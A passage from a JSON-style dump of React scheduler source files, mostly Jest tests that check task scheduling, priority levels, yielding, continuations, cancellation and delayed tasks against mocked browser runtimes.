expect(actual).toEqual(expected);\n    }\n    return {\n      advanceTime,\n      resetTime,\n      fireMessageEvent,\n      log,\n      isLogEmpty,\n      assertLog,\n      scheduleDiscreteEvent,\n      scheduleContinuousEvent,\n    };\n  }\n\n  it('task that finishes before deadline', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('Task');\n    });\n    runtime.assertLog(['Post Message']);\n    runtime.fireMessageEvent();\n    runtime.assertLog(['Message Event', 'Task']);\n  });\n\n  it('task with continuation', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('Task');\n      // Request paint so that we yield immediately\n      requestPaint();\n      while (!Scheduler.unstable_shouldYield()) {\n        runtime.advanceTime(1);\n      }\n      runtime.log(`Yield at ${performance.now()}ms`);\n      return () => {\n        runtime.log('Continuation');\n      };\n    });\n    runtime.assertLog(['Post Message']);\n\n    runtime.fireMessageEvent();\n    runtime.assertLog([\n      'Message Event',\n      'Task',\n      gate(flags => flags.enableAlwaysYieldScheduler) ||\n      !SchedulerFeatureFlags.enableRequestPaint\n        ? gate(flags => (flags.www ? 'Yield at 10ms' : 'Yield at 5ms'))\n        : 'Yield at 0ms',\n      'Post Message',\n    ]);\n\n    runtime.fireMessageEvent();\n    runtime.assertLog(['Message Event', 'Continuation']);\n  });\n\n  it('multiple tasks', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('A');\n    });\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('B');\n    });\n    runtime.assertLog(['Post Message']);\n    runtime.fireMessageEvent();\n    if (gate(flags => flags.enableAlwaysYieldScheduler)) {\n      runtime.assertLog(['Message Event', 'A', 'Post Message']);\n      runtime.fireMessageEvent();\n      runtime.assertLog(['Message Event', 'B']);\n    } else {\n      runtime.assertLog(['Message Event', 'A', 'B']);\n    }\n  });\n\n  it('multiple tasks with a yield in between', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('A');\n      runtime.advanceTime(4999);\n    });\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('B');\n    });\n    runtime.assertLog(['Post Message']);\n    runtime.fireMessageEvent();\n    runtime.assertLog([\n      'Message Event',\n      'A',\n      // Ran out of time. Post a continuation event.\n      'Post Message',\n    ]);\n    runtime.fireMessageEvent();\n    runtime.assertLog(['Message Event', 'B']);\n  });\n\n  it('cancels tasks', () => {\n    const task = scheduleCallback(NormalPriority, () => {\n      runtime.log('Task');\n    });\n    runtime.assertLog(['Post Message']);\n    cancelCallback(task);\n    runtime.fireMessageEvent();\n    runtime.assertLog(['Message Event']);\n  });\n\n  it('throws when a task errors then continues in a new event', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('Oops!');\n      throw Error('Oops!');\n    });\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('Yay');\n    });\n    runtime.assertLog(['Post Message']);\n\n    expect(() => runtime.fireMessageEvent()).toThrow('Oops!');\n    runtime.assertLog(['Message Event', 'Oops!', 'Post Message']);\n\n    runtime.fireMessageEvent();\n    if (gate(flags => flags.enableAlwaysYieldScheduler)) {\n      runtime.assertLog(['Message Event', 'Post Message']);\n      runtime.fireMessageEvent();\n    }\n    runtime.assertLog(['Message Event', 'Yay']);\n  });\n\n  it('schedule new task after queue has emptied', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('A');\n    });\n\n    runtime.assertLog(['Post Message']);\n    runtime.fireMessageEvent();\n    runtime.assertLog(['Message Event', 'A']);\n\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('B');\n    });\n    runtime.assertLog(['Post Message']);\n    runtime.fireMessageEvent();\n    runtime.assertLog(['Message Event', 'B']);\n  });\n\n  it('schedule new task after a cancellation', () => {\n    const handle = scheduleCallback(NormalPriority, () => {\n      runtime.log('A');\n    });\n\n    runtime.assertLog(['Post Message']);\n    cancelCallback(handle);\n\n    runtime.fireMessageEvent();\n    runtime.assertLog(['Message Event']);\n\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('B');\n    });\n    runtime.assertLog(['Post Message']);\n    runtime.fireMessageEvent();\n    runtime.assertLog(['Message Event', 'B']);\n  });\n\n  it('yielding continues in a new task regardless of how much time is remaining', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('Original Task');\n      runtime.log('shouldYield: ' + shouldYield());\n      runtime.log('Return a continuation');\n      return () => {\n        runtime.log('Continuation Task');\n      };\n    });\n    runtime.assertLog(['Post Message']);\n\n    runtime.fireMessageEvent();\n    runtime.assertLog([\n      'Message Event',\n      'Original Task',\n      // Immediately before returning a continuation, `shouldYield` returns\n      // false, which means there must be time remaining in the frame.\n      'shouldYield: false',\n      'Return a continuation',\n\n      // The continuation should be scheduled in a separate macrotask even\n      // though there's time remaining.\n      'Post Message',\n    ]);\n\n    // No time has elapsed\n    expect(performance.now()).toBe(0);\n\n    runtime.fireMessageEvent();\n    runtime.assertLog(['Message Event', 'Continuation Task']);\n  });\n});\n"
  },
  {
    "path": "packages/scheduler/src/__tests__/SchedulerMock-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet Scheduler;\nlet runWithPriority;\nlet ImmediatePriority;\nlet UserBlockingPriority;\nlet NormalPriority;\nlet LowPriority;\nlet IdlePriority;\nlet scheduleCallback;\nlet cancelCallback;\nlet wrapCallback;\nlet getCurrentPriorityLevel;\nlet shouldYield;\nlet waitForAll;\nlet assertLog;\nlet waitFor;\nlet waitForPaint;\n\ndescribe('Scheduler', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    jest.mock('scheduler', () => require('scheduler/unstable_mock'));\n\n    Scheduler = require('scheduler');\n\n    runWithPriority = Scheduler.unstable_runWithPriority;\n    ImmediatePriority = Scheduler.unstable_ImmediatePriority;\n    UserBlockingPriority = Scheduler.unstable_UserBlockingPriority;\n    NormalPriority = Scheduler.unstable_NormalPriority;\n    LowPriority = Scheduler.unstable_LowPriority;\n    IdlePriority = Scheduler.unstable_IdlePriority;\n    scheduleCallback = Scheduler.unstable_scheduleCallback;\n    cancelCallback = Scheduler.unstable_cancelCallback;\n    wrapCallback = Scheduler.unstable_wrapCallback;\n    getCurrentPriorityLevel = Scheduler.unstable_getCurrentPriorityLevel;\n    shouldYield = Scheduler.unstable_shouldYield;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n    waitFor = InternalTestUtils.waitFor;\n    waitForPaint = InternalTestUtils.waitForPaint;\n  });\n\n  it('flushes work incrementally', async () => {\n    scheduleCallback(NormalPriority, () => Scheduler.log('A'));\n    scheduleCallback(NormalPriority, () => Scheduler.log('B'));\n    scheduleCallback(NormalPriority, () => Scheduler.log('C'));\n    scheduleCallback(NormalPriority, () => Scheduler.log('D'));\n\n    await waitFor(['A', 'B']);\n    await waitFor(['C']);\n    await waitForAll(['D']);\n  });\n\n  it('cancels work', async () => {\n    scheduleCallback(NormalPriority, () => Scheduler.log('A'));\n    const callbackHandleB = scheduleCallback(NormalPriority, () =>\n      Scheduler.log('B'),\n    );\n    scheduleCallback(NormalPriority, () => Scheduler.log('C'));\n\n    cancelCallback(callbackHandleB);\n\n    await waitForAll([\n      'A',\n      // B should have been cancelled\n      'C',\n    ]);\n  });\n\n  it('executes the highest priority callbacks first', async () => {\n    scheduleCallback(NormalPriority, () => Scheduler.log('A'));\n    scheduleCallback(NormalPriority, () => Scheduler.log('B'));\n\n    // Yield before B is flushed\n    await waitFor(['A']);\n\n    scheduleCallback(UserBlockingPriority, () => Scheduler.log('C'));\n    scheduleCallback(UserBlockingPriority, () => Scheduler.log('D'));\n\n    // C and D should come first, because they are higher priority\n    await waitForAll(['C', 'D', 'B']);\n  });\n\n  it('expires work', async () => {\n    scheduleCallback(NormalPriority, didTimeout => {\n      Scheduler.unstable_advanceTime(100);\n      Scheduler.log(`A (did timeout: ${didTimeout})`);\n    });\n    scheduleCallback(UserBlockingPriority, didTimeout => {\n      Scheduler.unstable_advanceTime(100);\n      Scheduler.log(`B (did timeout: ${didTimeout})`);\n    });\n    scheduleCallback(UserBlockingPriority, didTimeout => {\n      Scheduler.unstable_advanceTime(100);\n      Scheduler.log(`C (did timeout: ${didTimeout})`);\n    });\n\n    // Advance time, but not by enough to expire any work\n    Scheduler.unstable_advanceTime(249);\n    assertLog([]);\n\n    // Schedule a few more callbacks\n    scheduleCallback(NormalPriority, didTimeout => {\n      Scheduler.unstable_advanceTime(100);\n      Scheduler.log(`D (did timeout: ${didTimeout})`);\n    });\n    scheduleCallback(NormalPriority, didTimeout => {\n      Scheduler.unstable_advanceTime(100);\n      Scheduler.log(`E (did timeout: ${didTimeout})`);\n    });\n\n    // Advance by just a bit more to expire the user blocking callbacks\n    Scheduler.unstable_advanceTime(1);\n    await waitFor(['B (did timeout: true)', 'C (did timeout: true)']);\n\n    // Expire A\n    Scheduler.unstable_advanceTime(4600);\n    await waitFor(['A (did timeout: true)']);\n\n    // Flush the rest without expiring\n    await waitForAll(['D (did timeout: false)', 'E (did timeout: true)']);\n  });\n\n  it('has a default expiration of ~5 seconds', () => {\n    scheduleCallback(NormalPriority, () => Scheduler.log('A'));\n\n    Scheduler.unstable_advanceTime(4999);\n    assertLog([]);\n\n    Scheduler.unstable_advanceTime(1);\n    Scheduler.unstable_flushExpired();\n    assertLog(['A']);\n  });\n\n  it('continues working on same task after yielding', async () => {\n    scheduleCallback(NormalPriority, () => {\n      Scheduler.unstable_advanceTime(100);\n      Scheduler.log('A');\n    });\n    scheduleCallback(NormalPriority, () => {\n      Scheduler.unstable_advanceTime(100);\n      Scheduler.log('B');\n    });\n\n    let didYield = false;\n    const tasks = [\n      ['C1', 100],\n      ['C2', 100],\n      ['C3', 100],\n    ];\n    const C = () => {\n      while (tasks.length > 0) {\n        const [label, ms] = tasks.shift();\n        Scheduler.unstable_advanceTime(ms);\n        Scheduler.log(label);\n        if (shouldYield()) {\n          didYield = true;\n          return C;\n        }\n      }\n    };\n\n    scheduleCallback(NormalPriority, C);\n\n    scheduleCallback(NormalPriority, () => {\n      Scheduler.unstable_advanceTime(100);\n      Scheduler.log('D');\n    });\n    scheduleCallback(NormalPriority, () => {\n      Scheduler.unstable_advanceTime(100);\n      Scheduler.log('E');\n    });\n\n    // Flush, then yield while in the middle of C.\n    expect(didYield).toBe(false);\n    await waitFor(['A', 'B', 'C1']);\n    expect(didYield).toBe(true);\n\n    // When we resume, we should continue working on C.\n    await waitForAll(['C2', 'C3', 'D', 'E']);\n  });\n\n  it('continuation callbacks inherit the expiration of the previous callback', async () => {\n    const tasks = [\n      ['A', 125],\n      ['B', 124],\n      ['C', 100],\n      ['D', 100],\n    ];\n    const work = () => {\n      while (tasks.length > 0) {\n        const [label, ms] = tasks.shift();\n        Scheduler.unstable_advanceTime(ms);\n        Scheduler.log(label);\n        if (shouldYield()) {\n          return work;\n        }\n      }\n    };\n\n    // Schedule a high priority callback\n    scheduleCallback(UserBlockingPriority, work);\n\n    // Flush until just before the expiration time\n    await waitFor(['A', 'B']);\n\n    // Advance time by just a bit more. This should expire all the remaining work.\n    Scheduler.unstable_advanceTime(1);\n    Scheduler.unstable_flushExpired();\n    assertLog(['C', 'D']);\n  });\n\n  it('continuations are interrupted by higher priority work', async () => {\n    const tasks = [\n      ['A', 100],\n      ['B', 100],\n      ['C', 100],\n      ['D', 100],\n    ];\n    const work = () => {\n      while (tasks.length > 0) {\n        const [label, ms] = tasks.shift();\n        Scheduler.unstable_advanceTime(ms);\n        Scheduler.log(label);\n        if (tasks.length > 0 && shouldYield()) {\n          return work;\n        }\n      }\n    };\n    scheduleCallback(NormalPriority, work);\n    await waitFor(['A']);\n\n    scheduleCallback(UserBlockingPriority, () => {\n      Scheduler.unstable_advanceTime(100);\n      Scheduler.log('High pri');\n    });\n\n    await waitForAll(['High pri', 'B', 'C', 'D']);\n  });\n\n  it(\n    'continuations do not block higher priority work scheduled ' +\n      'inside an executing callback',\n    async () => {\n      const tasks = [\n        ['A', 100],\n        ['B', 100],\n        ['C', 100],\n        ['D', 100],\n      ];\n      const work = () => {\n        while (tasks.length > 0) {\n          const task = tasks.shift();\n          const [label, ms] = task;\n          Scheduler.unstable_advanceTime(ms);\n          Scheduler.log(label);\n          if (label === 'B') {\n            // Schedule high pri work from inside another callback\n            Scheduler.log('Schedule high pri');\n            scheduleCallback(UserBlockingPriority, () => {\n              Scheduler.unstable_advanceTime(100);\n              Scheduler.log('High pri');\n            });\n          }\n          if (tasks.length > 0) {\n            // Return a continuation\n            return work;\n          }\n        }\n      };\n      scheduleCallback(NormalPriority, work);\n      await waitForAll([\n        'A',\n        'B',\n        'Schedule high pri',\n        // The high pri callback should fire before the continuation of the\n        // lower pri work\n        'High pri',\n        // Continue low pri work\n        'C',\n        'D',\n      ]);\n    },\n  );\n\n  it('cancelling a continuation', async () => {\n    const task = scheduleCallback(NormalPriority, () => {\n      Scheduler.log('Yield');\n      return () => {\n        Scheduler.log('Continuation');\n      };\n    });\n\n    await waitFor(['Yield']);\n    cancelCallback(task);\n    await waitForAll([]);\n  });\n\n  it('top-level immediate callbacks fire in a subsequent task', () => {\n    scheduleCallback(ImmediatePriority, () => Scheduler.log('A'));\n    scheduleCallback(ImmediatePriority, () => Scheduler.log('B'));\n    scheduleCallback(ImmediatePriority, () => Scheduler.log('C'));\n    scheduleCallback(ImmediatePriority, () => Scheduler.log('D'));\n    // Immediate callback hasn't fired, yet.\n    assertLog([]);\n    // They all flush immediately within the subsequent task.\n    Scheduler.unstable_flushExpired();\n    assertLog(['A', 'B', 'C', 'D']);\n  });\n\n  it('nested immediate callbacks are added to the queue of immediate callbacks', () => {\n    scheduleCallback(ImmediatePriority, () => Scheduler.log('A'));\n    scheduleCallback(ImmediatePriority, () => {\n      Scheduler.log('B');\n      // This callback should go to the end of the queue\n      scheduleCallback(ImmediatePriority, () => Scheduler.log('C'));\n    });\n    scheduleCallback(ImmediatePriority, () => Scheduler.log('D'));\n    assertLog([]);\n    // C should flush at the end\n    Scheduler.unstable_flushExpired();\n    assertLog(['A', 'B', 'D', 'C']);\n  });\n\n  it('wrapped callbacks have same signature as original callback', () => {\n    const wrappedCallback = wrapCallback((...args) => ({args}));\n    expect(wrappedCallback('a', 'b')).toEqual({args: ['a', 'b']});\n  });\n\n  it('wrapped callbacks inherit the current priority', () => {\n    const wrappedCallback = runWithPriority(NormalPriority, () =>\n      wrapCallback(() => {\n        Scheduler.log(getCurrentPriorityLevel());\n      }),\n    );\n\n    const wrappedUserBlockingCallback = runWithPriority(\n      UserBlockingPriority,\n      () =>\n        wrapCallback(() => {\n          Scheduler.log(getCurrentPriorityLevel());\n        }),\n    );\n\n    wrappedCallback();\n    assertLog([NormalPriority]);\n\n    wrappedUserBlockingCallback();\n    assertLog([UserBlockingPriority]);\n  });\n\n  it('wrapped callbacks inherit the current priority even when nested', () => {\n    let wrappedCallback;\n    let wrappedUserBlockingCallback;\n\n    runWithPriority(NormalPriority, () => {\n      wrappedCallback = wrapCallback(() => {\n        Scheduler.log(getCurrentPriorityLevel());\n      });\n      wrappedUserBlockingCallback = runWithPriority(UserBlockingPriority, () =>\n        wrapCallback(() => {\n          Scheduler.log(getCurrentPriorityLevel());\n        }),\n      );\n    });\n\n    wrappedCallback();\n    assertLog([NormalPriority]);\n\n    wrappedUserBlockingCallback();\n    assertLog([UserBlockingPriority]);\n  });\n\n  it(\"immediate callbacks fire even if there's an error\", () => {\n    scheduleCallback(ImmediatePriority, () => {\n      Scheduler.log('A');\n      throw new Error('Oops A');\n    });\n    scheduleCallback(ImmediatePriority, () => {\n      Scheduler.log('B');\n    });\n    scheduleCallback(ImmediatePriority, () => {\n      Scheduler.log('C');\n      throw new Error('Oops C');\n    });\n\n    expect(() => Scheduler.unstable_flushExpired()).toThrow('Oops A');\n    assertLog(['A']);\n\n    // B and C flush in a subsequent event. That way, the second error is not\n    // swallowed.\n    expect(() => Scheduler.unstable_flushExpired()).toThrow('Oops C');\n    assertLog(['B', 'C']);\n  });\n\n  it('multiple immediate callbacks can throw and there will be an error for each one', () => {\n    scheduleCallback(ImmediatePriority, () => {\n      throw new Error('First error');\n    });\n    scheduleCallback(ImmediatePriority, () => {\n      throw new Error('Second error');\n    });\n    expect(() => Scheduler.unstable_flushAll()).toThrow('First error');\n    // The next error is thrown in the subsequent event\n    expect(() => Scheduler.unstable_flushAll()).toThrow('Second error');\n  });\n\n  it('exposes the current priority level', () => {\n    Scheduler.log(getCurrentPriorityLevel());\n    runWithPriority(ImmediatePriority, () => {\n      Scheduler.log(getCurrentPriorityLevel());\n      runWithPriority(NormalPriority, () => {\n        Scheduler.log(getCurrentPriorityLevel());\n        runWithPriority(UserBlockingPriority, () => {\n          Scheduler.log(getCurrentPriorityLevel());\n        });\n      });\n      Scheduler.log(getCurrentPriorityLevel());\n    });\n\n    assertLog([\n      NormalPriority,\n      ImmediatePriority,\n      NormalPriority,\n      UserBlockingPriority,\n      ImmediatePriority,\n    ]);\n  });\n\n  if (__DEV__) {\n    // Function names are minified in prod, though you could still infer the\n    // priority if you have sourcemaps.\n    // TODO: Feature temporarily disabled while we investigate a bug in one of\n    // our minifiers.\n    // eslint-disable-next-line jest/no-disabled-tests\n    it.skip('adds extra function to the JS stack whose name includes the priority level', async () => {\n      function inferPriorityFromCallstack() {\n        try {\n          throw Error();\n        } catch (e) {\n          const stack = e.stack;\n          const lines = stack.split('\\n');\n          for (let i = lines.length - 1; i >= 0; i--) {\n            const line = lines[i];\n            const found = line.match(\n              /scheduler_flushTaskAtPriority_([A-Za-z]+)/,\n            );\n            if (found !== null) {\n              const priorityStr = found[1];\n              switch (priorityStr) {\n                case 'Immediate':\n                  return ImmediatePriority;\n                case 'UserBlocking':\n                  return UserBlockingPriority;\n                case 'Normal':\n                  return NormalPriority;\n                case 'Low':\n                  return LowPriority;\n                case 'Idle':\n                  return IdlePriority;\n              }\n            }\n          }\n          return null;\n        }\n      }\n\n      scheduleCallback(ImmediatePriority, () =>\n        Scheduler.log('Immediate: ' + inferPriorityFromCallstack()),\n      );\n      scheduleCallback(UserBlockingPriority, () =>\n        Scheduler.log('UserBlocking: ' + inferPriorityFromCallstack()),\n      );\n      scheduleCallback(NormalPriority, () =>\n        Scheduler.log('Normal: ' + inferPriorityFromCallstack()),\n      );\n      scheduleCallback(LowPriority, () =>\n        Scheduler.log('Low: ' + inferPriorityFromCallstack()),\n      );\n      scheduleCallback(IdlePriority, () =>\n        Scheduler.log('Idle: ' + inferPriorityFromCallstack()),\n      );\n\n      await waitForAll([\n        'Immediate: ' + ImmediatePriority,\n        'UserBlocking: ' + UserBlockingPriority,\n        'Normal: ' + NormalPriority,\n        'Low: ' + LowPriority,\n        'Idle: ' + IdlePriority,\n      ]);\n    });\n  }\n\n  describe('delayed tasks', () => {\n    it('schedules a delayed task', async () => {\n      scheduleCallback(NormalPriority, () => Scheduler.log('A'), {\n        delay: 1000,\n      });\n\n      // Should flush nothing, because delay hasn't elapsed\n      await waitForAll([]);\n\n      // Advance time until right before the threshold\n      Scheduler.unstable_advanceTime(999);\n      // Still nothing\n      await waitForAll([]);\n\n      // Advance time past the threshold\n      Scheduler.unstable_advanceTime(1);\n\n      // Now it should flush like normal\n      await waitForAll(['A']);\n    });\n\n    it('schedules multiple delayed tasks', async () => {\n      scheduleCallback(NormalPriority, () => Scheduler.log('C'), {\n        delay: 300,\n      });\n\n      scheduleCallback(NormalPriority, () => Scheduler.log('B'), {\n        delay: 200,\n      });\n\n      scheduleCallback(NormalPriority, () => Scheduler.log('D'), {\n        delay: 400,\n      });\n\n      scheduleCallback(NormalPriority, () => Scheduler.log('A'), {\n        delay: 100,\n      });\n\n      // Should flush nothing, because delay hasn't elapsed\n      await waitForAll([]);\n\n      // Advance some time.\n      Scheduler.unstable_advanceTime(200);\n      // Both A and B are no longer delayed. They can now flush incrementally.\n      await waitFor(['A']);\n      await waitForAll(['B']);\n\n      // Advance the rest\n      Scheduler.unstable_advanceTime(200);\n      await waitForAll(['C', 'D']);\n    });\n\n    it('interleaves normal tasks and delayed tasks', async () => {\n      // Schedule some high priority callbacks with a delay. When their delay\n      // elapses, they will be the most important callback in the queue.\n      scheduleCallback(UserBlockingPriority, () => Scheduler.log('Timer 2'), {\n        delay: 300,\n      });\n      scheduleCallback(UserBlockingPriority, () => Scheduler.log('Timer 1'), {\n        delay: 100,\n      });\n\n      // Schedule some tasks at default priority.\n      scheduleCallback(NormalPriority, () => {\n        Scheduler.log('A');\n        Scheduler.unstable_advanceTime(100);\n      });\n      scheduleCallback(NormalPriority, () => {\n        Scheduler.log('B');\n        Scheduler.unstable_advanceTime(100);\n      });\n      scheduleCallback(NormalPriority, () => {\n        Scheduler.log('C');\n        Scheduler.unstable_advanceTime(100);\n      });\n      scheduleCallback(NormalPriority, () => {\n        Scheduler.log('D');\n        Scheduler.unstable_advanceTime(100);\n      });\n\n      // Flush all the work. The timers should be interleaved with the\n      // other tasks.\n      await waitForAll(['A', 'Timer 1', 'B', 'C', 'Timer 2', 'D']);\n    });\n\n    it('interleaves delayed tasks with time-sliced tasks', async () => {\n      // Schedule some high priority callbacks with a delay. When their delay\n      // elapses, they will be the most important callback in the queue.\n      scheduleCallback(UserBlockingPriority, () => Scheduler.log('Timer 2'), {\n        delay: 300,\n      });\n      scheduleCallback(UserBlockingPriority, () => Scheduler.log('Timer 1'), {\n        delay: 100,\n      });\n\n      // Schedule a time-sliced task at default priority.\n      const tasks = [\n        ['A', 100],\n        ['B', 100],\n        ['C', 100],\n        ['D', 100],\n      ];\n      const work = () => {\n        while (tasks.length > 0) {\n          const task = tasks.shift();\n          const [label, ms] = task;\n          Scheduler.unstable_advanceTime(ms);\n          Scheduler.log(label);\n          if (tasks.length > 0) {\n            return work;\n          }\n        }\n      };\n      scheduleCallback(NormalPriority, work);\n\n      // Flush all the work. The timers should be interleaved with the\n      // other tasks.\n      await waitForAll(['A', 'Timer 1', 'B', 'C', 'Timer 2', 'D']);\n    });\n\n    it('cancels a delayed task', async () => {\n      // Schedule several tasks with the same delay\n      const options = {delay: 100};\n\n      scheduleCallback(NormalPriority, () => Scheduler.log('A'), options);\n      const taskB = scheduleCallback(\n        NormalPriority,\n        () => Scheduler.log('B'),\n        options,\n      );\n      const taskC = scheduleCallback(\n        NormalPriority,\n        () => Scheduler.log('C'),\n        options,\n      );\n\n      // Cancel B before its delay has elapsed\n      await waitForAll([]);\n      cancelCallback(taskB);\n\n      // Cancel C after its delay has elapsed\n      Scheduler.unstable_advanceTime(500);\n      cancelCallback(taskC);\n\n      // Only A should flush\n      await waitForAll(['A']);\n    });\n\n    it('gracefully handles scheduled tasks that are not a function', async () => {\n      scheduleCallback(ImmediatePriority, null);\n      await waitForAll([]);\n\n      scheduleCallback(ImmediatePriority, undefined);\n      await waitForAll([]);\n\n      scheduleCallback(ImmediatePriority, {});\n      await waitForAll([]);\n\n      scheduleCallback(ImmediatePriority, 42);\n      await waitForAll([]);\n    });\n\n    it('toFlushUntilNextPaint stops if a continuation is returned', async () => {\n      scheduleCallback(NormalPriority, () => {\n        Scheduler.log('Original Task');\n        Scheduler.log('shouldYield: ' + shouldYield());\n        Scheduler.log('Return a continuation');\n        return () => {\n          Scheduler.log('Continuation Task');\n        };\n      });\n\n      await waitForPaint([\n        'Original Task',\n        // Immediately before returning a continuation, `shouldYield` returns\n        // false, which means there must be time remaining in the frame.\n        'shouldYield: false',\n        'Return a continuation',\n\n        // The continuation should not flush yet.\n      ]);\n\n      // No time has elapsed\n      expect(Scheduler.unstable_now()).toBe(0);\n\n      // Continue the task\n      await waitForAll(['Continuation Task']);\n    });\n\n    it(\"toFlushAndYield keeps flushing even if there's a continuation\", async () => {\n      scheduleCallback(NormalPriority, () => {\n        Scheduler.log('Original Task');\n        Scheduler.log('shouldYield: ' + shouldYield());\n        Scheduler.log('Return a continuation');\n        return () => {\n          Scheduler.log('Continuation Task');\n        };\n      });\n\n      await waitForAll([\n        'Original Task',\n        // Immediately before returning a continuation, `shouldYield` returns\n        // false, which means there must be time remaining in the frame.\n        'shouldYield: false',\n        'Return a continuation',\n\n        // The continuation should flush immediately, even though the task\n        // yielded a continuation.\n        'Continuation Task',\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/scheduler/src/__tests__/SchedulerPostTask-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n/* eslint-disable no-for-of-loops/no-for-of-loops */\n\n'use strict';\n\nlet Scheduler;\nlet runtime;\nlet performance;\nlet cancelCallback;\nlet scheduleCallback;\nlet ImmediatePriority;\nlet NormalPriority;\nlet UserBlockingPriority;\nlet LowPriority;\nlet IdlePriority;\nlet shouldYield;\n\n// The Scheduler postTask implementation uses a new postTask browser API to\n// schedule work on the main thread. This test suite mocks all browser methods\n// used in our implementation. It assumes as little as possible about the order\n// and timing of events.\ndescribe('SchedulerPostTask', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    jest.mock('scheduler', () =>\n      jest.requireActual('scheduler/unstable_post_task'),\n    );\n\n    runtime = installMockBrowserRuntime();\n    performance = window.performance;\n    Scheduler = require('scheduler');\n    cancelCallback = Scheduler.unstable_cancelCallback;\n    scheduleCallback = Scheduler.unstable_scheduleCallback;\n    ImmediatePriority = Scheduler.unstable_ImmediatePriority;\n    UserBlockingPriority = Scheduler.unstable_UserBlockingPriority;\n    NormalPriority = Scheduler.unstable_NormalPriority;\n    LowPriority = Scheduler.unstable_LowPriority;\n    IdlePriority = Scheduler.unstable_IdlePriority;\n    shouldYield = Scheduler.unstable_shouldYield;\n  });\n\n  afterEach(() => {\n    if (!runtime.isLogEmpty()) {\n      throw Error('Test exited without clearing log.');\n    }\n  });\n\n  function installMockBrowserRuntime() {\n    let taskQueue = new Map();\n    let eventLog = [];\n\n    // Mock window functions\n    const window = {};\n    global.window = window;\n\n    let idCounter = 0;\n    let currentTime = 0;\n    window.performance = {\n      now() {\n        return currentTime;\n      },\n    };\n\n    // Note: setTimeout is used to report errors and nothing else.\n    window.setTimeout = cb => {\n      try {\n        cb();\n      } catch (error) {\n        runtime.log(`Error: ${error.message}`);\n      }\n    };\n\n    // Mock browser scheduler.\n    const scheduler = {};\n    global.scheduler = scheduler;\n\n    scheduler.postTask = function (callback, {signal}) {\n      const {priority} = signal;\n      const id = idCounter++;\n      log(\n        `Post Task ${id} [${priority === undefined ? '<default>' : priority}]`,\n      );\n      const controller = signal._controller;\n      return new Promise((resolve, reject) => {\n        taskQueue.set(controller, {id, callback, resolve, reject});\n      });\n    };\n\n    scheduler.yield = function ({signal}) {\n      const {priority} = signal;\n      const id = idCounter++;\n      log(`Yield ${id} [${priority === undefined ? '<default>' : priority}]`);\n      const controller = signal._controller;\n      let callback;\n\n      return {\n        then(cb) {\n          callback = cb;\n          return new Promise((resolve, reject) => {\n            taskQueue.set(controller, {id, callback, resolve, reject});\n          });\n        },\n      };\n    };\n\n    global.TaskController = class TaskController {\n      constructor({priority}) {\n        this.signal = {_controller: this, priority};\n      }\n      abort() {\n        const task = taskQueue.get(this);\n        if (task !== undefined) {\n          taskQueue.delete(this);\n          const reject = task.reject;\n          reject(new Error('Aborted'));\n        }\n      }\n    };\n\n    function ensureLogIsEmpty() {\n      if (eventLog.length !== 0) {\n        throw Error('Log is not empty. Call assertLog before continuing.');\n      }\n    }\n    function advanceTime(ms) {\n      currentTime += ms;\n    }\n    function flushTasks() {\n      ensureLogIsEmpty();\n\n      // If there's a continuation, it will call postTask again\n      // which will set nextTask. That means we need to clear\n      // nextTask before the invocation, otherwise we would\n      // delete the continuation task.\n      const prevTaskQueue = taskQueue;\n      taskQueue = new Map();\n      for (const [, {id, callback, resolve}] of prevTaskQueue) {\n        log(`Task ${id} Fired`);\n        callback(false);\n        resolve();\n      }\n    }\n    function log(val) {\n      eventLog.push(val);\n    }\n    function isLogEmpty() {\n      return eventLog.length === 0;\n    }\n    function assertLog(expected) {\n      const actual = eventLog;\n      eventLog = [];\n      expect(actual).toEqual(expected);\n    }\n    return {\n      advanceTime,\n      flushTasks,\n      log,\n      isLogEmpty,\n      assertLog,\n    };\n  }\n\n  it('task that finishes before deadline', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('A');\n    });\n    runtime.assertLog(['Post Task 0 [user-visible]']);\n    runtime.flushTasks();\n    runtime.assertLog(['Task 0 Fired', 'A']);\n  });\n\n  it('task with continuation', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('A');\n      while (!Scheduler.unstable_shouldYield()) {\n        runtime.advanceTime(1);\n      }\n      runtime.log(`Yield at ${performance.now()}ms`);\n      return () => {\n        runtime.log('Continuation');\n      };\n    });\n    runtime.assertLog(['Post Task 0 [user-visible]']);\n\n    runtime.flushTasks();\n    runtime.assertLog([\n      'Task 0 Fired',\n      'A',\n      'Yield at 5ms',\n      'Yield 1 [user-visible]',\n    ]);\n\n    runtime.flushTasks();\n    runtime.assertLog(['Task 1 Fired', 'Continuation']);\n  });\n\n  it('multiple tasks', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('A');\n    });\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('B');\n    });\n    runtime.assertLog([\n      'Post Task 0 [user-visible]',\n      'Post Task 1 [user-visible]',\n    ]);\n    runtime.flushTasks();\n    runtime.assertLog(['Task 0 Fired', 'A', 'Task 1 Fired', 'B']);\n  });\n\n  it('cancels tasks', () => {\n    const task = scheduleCallback(NormalPriority, () => {\n      runtime.log('A');\n    });\n    